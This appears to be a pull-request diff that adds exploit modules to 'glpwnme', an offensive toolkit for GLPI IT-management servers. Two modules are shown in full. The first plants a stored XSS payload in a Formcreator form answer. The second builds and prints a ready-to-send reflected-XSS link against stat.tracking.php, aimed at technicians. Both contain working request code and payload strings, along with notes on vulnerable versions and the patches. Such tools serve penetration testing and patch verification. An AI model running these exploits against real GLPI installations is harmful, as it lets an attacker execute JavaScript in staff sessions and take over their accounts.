Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
10 changes: 10 additions & 0 deletions glpwnme/exploits/implementations/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -27,6 +27,15 @@
# GLPI classic check
from .default_password_check import DEFAULT_PASSWORD_CHECK

from .cve_2023_33971 import CVE_2023_33971
from .cve_2024_43418 import CVE_2024_43418
from .cve_2025_59935 import CVE_2025_59935
from .cve_2026_25932 import CVE_2026_25932
from .cve_2026_40108 import CVE_2026_40108
from .cve_2026_42321 import CVE_2026_42321
from .cve_2026_5385 import CVE_2026_5385
from .cve_2026_26027 import CVE_2026_26027

def get_all_exploits():
"""
Return the exploit available as Class
Expand All @@ -38,5 +47,6 @@ def get_all_exploits():
all_exploits = [CVE_2020_15175, CVE_2022_31061, CVE_2022_35914, UNSERIALIZE_ORDER_2022, CVE_2023_41323, CVE_2023_41326]
all_exploits += [PHP_UPLOAD, CVE_2024_27937, CVE_2024_29889, CVE_2024_37148, CVE_2024_37149]
all_exploits += [CVE_2024_40638, CVE_2024_50339, CVE_2025_24799, CVE_2025_32786, CVE_2026_26026]
all_exploits += [CVE_2023_33971, CVE_2024_43418, CVE_2025_59935, CVE_2026_25932, CVE_2026_40108, CVE_2026_42321, CVE_2026_5385, CVE_2026_26027]
all_exploits += [DEFAULT_PASSWORD_CHECK]
return all_exploits
226 changes: 226 additions & 0 deletions glpwnme/exploits/implementations/cve_2023_33971.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,226 @@
import re
import json
import time
import html as htmllib
from http import HTTPStatus
from glpwnme.exploits.plugin_exploit import PluginExploit
from glpwnme.exploits.logger import Log


class CVE_2023_33971(PluginExploit):
"""
Stored XSS in the GLPI Formcreator plugin via an unescaped form-answer text field
(the ##FULLFORM## render path). A text answer is stored verbatim and later echoed
unescaped when an agent/validator views the form answer, executing JavaScript in an
admin/tech context.

GHSA-777g-3848-8r3g. Fixed in formcreator 2.13.6 (commit 628eb738): TextField
::getRenderedHtml() now returns Sanitizer::sanitize($this->value) instead of the raw
value, and getValueForTargetText() sanitizes when rendering rich text.

@author unclej4ck
@cvss 6.5
@name CVE_2023_33971
"""
plugin_name = "formcreator"
# max_plugin_version is EXCLUSIVE = first patched release (2.13.6).
max_plugin_version = "2.13.6"
min_version = "10.0.0" # plugin 2.13.x targets GLPI ~10.0
max_version = "10.1.0"
_impacts = "Stored XSS in admin/tech context (form answer view, generated ticket via ##FULLFORM##)"
_privilege = "Admin" # builds the probe form; the payload submit itself is anonymous on a public form
_is_check_opsec_safe = True

MARK_PREFIX = "GLPWNXSS"

def infos(self):
infos = "[u]Description:[/u]\n"
infos += "Stored XSS in the Formcreator plugin (GHSA-777g-3848-8r3g / CVE-2023-33971).\n"
infos += "A text answer value is echoed unescaped when an agent views the form answer\n"
infos += "and when it is templated into a target ticket through the ##FULLFORM## tag.\n"
infos += "Affected: formcreator <= 2.13.5 on GLPI 10.0.x. Patched in 2.13.6.\n"

infos += "\n[u]Vector:[/u]\n"
infos += " - Build a public form with one text question (admin task).\n"
infos += " - Submit the answer [i]\"><img src=x onerror=alert(1)>[/i] to\n"
infos += " [i]/plugins/formcreator/ajax/formanswer.php[/i] (works anonymously on a public form).\n"
infos += " - The payload fires when staff opens the answer (FormAnswer main tab) or the ticket.\n"

infos += "\n[u]Note:[/u]\n"
infos += "GLPI 10.x sanitizes $_POST globally, so the answer is stored HTML-encoded; the bug\n"
infos += "is in formcreator's render path returning the value raw (vuln) vs Sanitizer::sanitize\n"
infos += "(patched). The check submits the payload and compares the raw vs escaped reflection.\n"

infos += "\nExploit is [green b]Safe[/]"
return infos

# ----- plugin existence / version detection (unauth-friendly) -----
def _plugins_exists(self, endpoint):
"""front/form.php exists (302 redirect to login) when the plugin is installed/active,
404 when absent."""
res = self.get(f"/{endpoint}/{self.__class__.plugin_name}/front/form.php",
allow_redirects=False)
return res.status_code != HTTPStatus.NOT_FOUND

def get_plugin_version(self):
"""package.json is served statically and carries the exact release version."""
res = self.plugin_get("package.json", allow_redirects=False)
if res.status_code == HTTPStatus.OK:
m = re.search(r'"version"\s*:\s*"([0-9][0-9A-Za-z.\-]*)"', res.text)
if m:
return m.group(1)
return None

# ----- helpers -----
def _csrf(self, path):
res = self.get(path)
m = re.search(r'name="_glpi_csrf_token"\s+value="([^"]+)"', res.text)
return (m.group(1) if m else ""), res.text

def _ajax_post(self, path, data):
"""POST a formcreator ajax endpoint with a fresh CSRF token (in body and header).
The designer is a JS app, so ids must come from the JSON the ajax calls return,
not from scraping the HTML."""
tok, _ = self._csrf(f"/{self.endpoint}/{self.__class__.plugin_name}/front/form.form.php")
data = dict(data, _glpi_csrf_token=tok)
return self.post(f"/{self.endpoint}/{self.__class__.plugin_name}{path}", data=data, allow_redirects=False, headers={"X-Glpi-Csrf-Token": tok, "X-Requested-With": "XMLHttpRequest"})

def _build_public_text_form(self):
"""Create a public form + section + one text question over HTTP (requires
entity/UPDATE). Returns (form_id, question_id) or (None, None)."""
# 1) create the form (the create redirect has no Location id, so read the listing)
self._ajax_post("/front/form.form.php",
{"add": "1", "name": "glpwn_xss_check", "access_rights": "1",
"is_active": "1", "description": "x", "entities_id": "0",
"is_recursive": "1"})
listing = self.plugin_get("front/form.php").text
ids = [int(x) for x in re.findall(r"form\.form\.php\?id=(\d+)", listing)]
if not ids:
return None, None
fid = max(ids)

# 2) add a section (returns {"id": <sid>, "html": ...})
r = self._ajax_post("/ajax/section_add.php",
{"plugin_formcreator_forms_id": str(fid), "name": "s1",
"show_rule": "1"})
try:
sid = json.loads(r.text)["id"]
except Exception:
return None, None

# 3) add a text question. The text field requires range+regex parameters and
# each _parameters[text][<name>] must be an ARRAY (a scalar makes post_addItem
# throw and the JSON response is then empty). question_add returns the design
# html carrying data-id="<qid>".
r = self._ajax_post("/ajax/question_add.php",
{"plugin_formcreator_sections_id": str(sid), "name": "q1",
"fieldtype": "text", "required": "0", "show_empty": "0",
"row": "0", "col": "0", "width": "4", "show_rule": "1",
"_parameters[text][regex][regex]": "",
"_parameters[text][range][range_min]": "0",
"_parameters[text][range][range_max]": "0"})
try:
qhtml = json.loads(r.text).get("html", "")
except Exception:
qhtml = ""
m = re.search(r'data-itemtype="PluginFormcreatorQuestion"\s+data-id="(\d+)"', qhtml)
if not m:
return None, None
return fid, m.group(1)

def _submit_answer(self, fid, qid, payload):
"""Submit a form answer via the public endpoint. Returns the form-answer id or None."""
base = f"/{self.endpoint}/{self.__class__.plugin_name}"
tok, _ = self._csrf(f"{base}/front/formdisplay.php?id={fid}")
# the submit-trigger flag differs by version (2.13.5: submit_formcreator, 2.13.6: add)
for flag in ("submit_formcreator", "add"):
self.post(f"{base}/ajax/formanswer.php",
data={"_glpi_csrf_token": tok, flag: "1",
"plugin_formcreator_forms_id": fid,
f"formcreator_field_{qid}": payload},
headers={"X-Glpi-Csrf-Token": tok, "X-Requested-With": "XMLHttpRequest"})
listing = self.plugin_get("front/formanswer.php").text
ids = [int(x) for x in re.findall(r"formanswer\.form\.php\?id=(\d+)", listing)]
if ids:
return max(ids)
return None

def _answer_reflection(self, faid, mark, payload):
"""Render the FormAnswer main tab and return (raw_reflected, html_escaped)."""
base = f"/{self.endpoint}/{self.__class__.plugin_name}"
page = self.plugin_get(f"front/formanswer.form.php?id={faid}").text
href = None
for h in re.findall(r"href='(/ajax/common\.tabs\.php\?[^']+)'", page):
if "FormAnswer%24main" in h or "FormAnswer$main" in h:
href = htmllib.unescape(h)
break
if not href:
return False, False
tab = self.get(href).text
raw = (f"<img src=x onerror=alert({mark})" in tab)
esc = (("&lt;img" in tab) or ("&#60;img" in tab)) and (mark in tab)
return raw, esc

def check(self):
"""Differential: submit a text answer carrying an <img onerror> payload, then render
the form-answer view as staff. Vulnerable formcreator (<=2.13.5) reflects the payload
raw; patched (>=2.13.6) returns it HTML-escaped (Sanitizer::sanitize)."""
if not self.exists():
Log.err(f"Plugin {self.__class__.plugin_name} not found")
return False

# version gate (max EXCLUSIVE = first patched); if version is unknown, fall through to the live test
ver = self.get_plugin_version()
if ver:
self.glpi_plugin_version = ver
Log.log(f"formcreator version [gold3]{ver}[/] detected")
if not self._is_plugin_vulnerable(ver):
Log.log("formcreator version is patched (>= 2.13.6)")
return False

mark = f"{self.MARK_PREFIX}{int(time.time()) % 1000000}"
payload = f'"><img src=x onerror=alert({mark}) x=x>'

fid, qid = self._build_public_text_form()
if not fid or not qid:
Log.err("Could not build the probe form over HTTP (needs an account with entity/UPDATE)")
return False
Log.log(f"Probe form id={fid} question id={qid}")

faid = self._submit_answer(fid, qid, payload)
if not faid:
Log.err("Form answer submission failed")
return False

raw, esc = self._answer_reflection(faid, mark, payload)
if raw and not esc:
Log.msg("Text answer reflected RAW in the form-answer view — stored XSS confirmed "
"(CVE-2023-33971 / GHSA-777g-3848-8r3g)")
return True
if esc:
Log.log("Answer reflection is HTML-escaped — patched (formcreator 2.13.6+)")
return False
Log.log("No reflection observed; inconclusive")
return False

def run(self, payload=None):
"""Plant a stored-XSS payload in a public form answer. The payload executes when an
agent/validator opens the answer or the generated ticket (##FULLFORM##)."""
if not self.check():
Log.err("Target is not vulnerable")
return False

if payload is None:
payload = '"><img src=x onerror=alert(document.domain) x=x>'

fid, qid = self._build_public_text_form()
if not fid or not qid:
Log.err("Could not build the form")
return False
faid = self._submit_answer(fid, qid, payload)
if not faid:
Log.err("Submission failed")
return False
Log.msg(f"Stored XSS planted in form-answer id [gold3]{faid}[/] (form {fid}).")
Log.msg("It fires when staff opens the answer (FormAnswer view) or the ##FULLFORM## ticket.")
return True
120 changes: 120 additions & 0 deletions glpwnme/exploits/implementations/cve_2024_43418.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,120 @@
import re
import uuid
from urllib.parse import urlencode
from http import HTTPStatus
from ..exploit import GlpiExploit
from glpwnme.exploits.logger import Log


class CVE_2024_43418(GlpiExploit):
"""
Reflected XSS in the GLPI statistics pages (GLPI >= 0.65, < 10.0.17).

front/stat.tracking.php (and the sibling stat.* report pages) echoed the
request parameter 'value2' straight into a single-quoted HTML attribute
without output encoding:

// <= 10.0.16
echo "<input type='hidden' name='value2' value='" . $_GET["value2"] . "'>";

GLPI's input Sanitizer HTML-encodes < > & but only backslash-escapes the
single quote, and a backslash is not an escape character in HTML, so a
payload like

value2=x' autofocus onfocus=alert(document.domain) z='

breaks out of value='...' and injects real attributes onto the <input>
(autofocus + onfocus fire with no further interaction). The angle brackets
are not needed, so the Sanitizer does not stop it. An unauthenticated
attacker hands a crafted stat.tracking.php link to a logged-in technician
(statistics READ) and the script runs in the technician's session.

Fix (10.0.17, GHSA-x8jv-fcwx-3x6m): value2 is wrapped in
Html::cleanInputText(), which encodes the quote to &apos;, so it can no
longer escape the attribute.

NOTE: earlier revisions of this module misattributed CVE-2024-43418 to an
unauthenticated getConfig SQL injection. That vector does not exist (the
deviceid never reaches a raw query). This module tests the real reflected
XSS, verified differentially on 10.0.16 (breaks out) vs 10.0.17 (encoded).

@author unclej4ck
@cvss 6.1
@name CVE_2024_43418
"""
_impacts = "Reflected Cross-Site Scripting, Session/Action Hijacking"
_privilege = "User"
_is_check_opsec_safe = True
min_version = "0.65"
max_version = "10.0.17"

_ENDPOINT = "/front/stat.tracking.php"

def infos(self):
infos = "[u]Description:[/u]\n"
infos += "Reflected XSS in GLPI statistics pages (GLPI ≤ 10.0.16).\n"
infos += "[b]front/stat.tracking.php[/b] echoes [i]value2[/i] into [i]value='...'[/i] without\n"
infos += "output encoding. The quote is only backslash-escaped, so an attribute\n"
infos += "breakout injects an event handler (no [b]<>[/b] needed, Sanitizer-proof):\n"
infos += " value2=x' autofocus onfocus=alert(document.domain) z='\n"
infos += "An attacker sends the crafted link to a technician (statistics READ).\n"
infos += "Fix 10.0.17: value2 wrapped in [b]Html::cleanInputText()[/b] (quote -> &apos;).\n"

infos += "\n[u]Params (run):[/u]\n"
infos += " - [i]js (default alert(document.domain))[/i]: JS to run in the onfocus handler\n"

infos += "\n[u]Usage:[/u]\n"
infos += "[grey66]# Confirm the attribute breakout is reflected unencoded[/]\n--check\n\n"
infos += "[grey66]# Print a ready-to-send PoC link[/]\n--run\n"

infos += "\nExploit is [green b]Safe[/] (sends a benign marker; reflects, does not execute server-side)"
return infos

def _probe(self, value2):
return self.get(self._ENDPOINT, params={"itemtype": "Ticket", "type": "user",
"value2": value2}, allow_redirects=False)

def check(self):
"""Differential reflected-XSS oracle. Submit an attribute-breakout payload in
value2 and look for the RAW single quote escaping the value='...' attribute:

vulnerable (<=10.0.16): ...value='MARK\\' autofocus onfocus=MARK()...'>
-> the substring "' autofocus onfocus=MARK" is present
patched (10.0.17): ...value='MARK\\&apos; autofocus...'>
-> the quote is encoded, the raw-quote substring is absent

Requires a session that can open the statistics page (technician/admin)."""
mark = "glpwnme" + uuid.uuid4().hex[:8]
payload = f"{mark}' autofocus onfocus={mark}() z='"
r = self._probe(payload)
if r.status_code != HTTPStatus.OK:
Log.log(f"stat.tracking.php not reachable (HTTP {r.status_code}) — need statistics READ")
return False
breakout = f"' autofocus onfocus={mark}" in r.text # raw quote escaped the attribute
encoded = (f"{mark}\\&apos;" in r.text) or (f"{mark}&apos;" in r.text) \
or (f"{mark}&#039;" in r.text)
if breakout:
Log.msg(f"value2 breaks out of value='...' on stat.tracking.php — the single quote is "
f"reflected unencoded, injecting attributes onto the input → reflected XSS "
f"(CVE-2024-43418)")
return True
if encoded:
Log.log("value2 quote encoded (Html::cleanInputText present) — patched (10.0.17+)")
return False
Log.log("value2 not reflected as expected — inconclusive")
return False

def run(self, js="alert(document.domain)"):
"""Print a ready-to-send reflected-XSS link. A technician who opens it runs `js`
in their authenticated session (the input autofocuses and fires onfocus)."""
payload = f"x' autofocus onfocus={js} z='"
url = self.glpi_session.r(self._ENDPOINT) + "?" + urlencode(
{"itemtype": "Ticket", "type": "user", "value2": payload})
# confirm it still reflects before handing it over
r = self._probe(f"glpwnmeRUN' autofocus onfocus=void(0) z='")
if "' autofocus onfocus=void(0)" not in r.text:
Log.err("Target does not reflect value2 unencoded — patched or no statistics access")
return
Log.msg("Reflected XSS confirmed. Send this link to a technician (statistics READ):")
Log.print(f"[green b]{url}[/green b]")
self._write_log(f"CVE-2024-43418 reflected XSS PoC: {url}")
Loading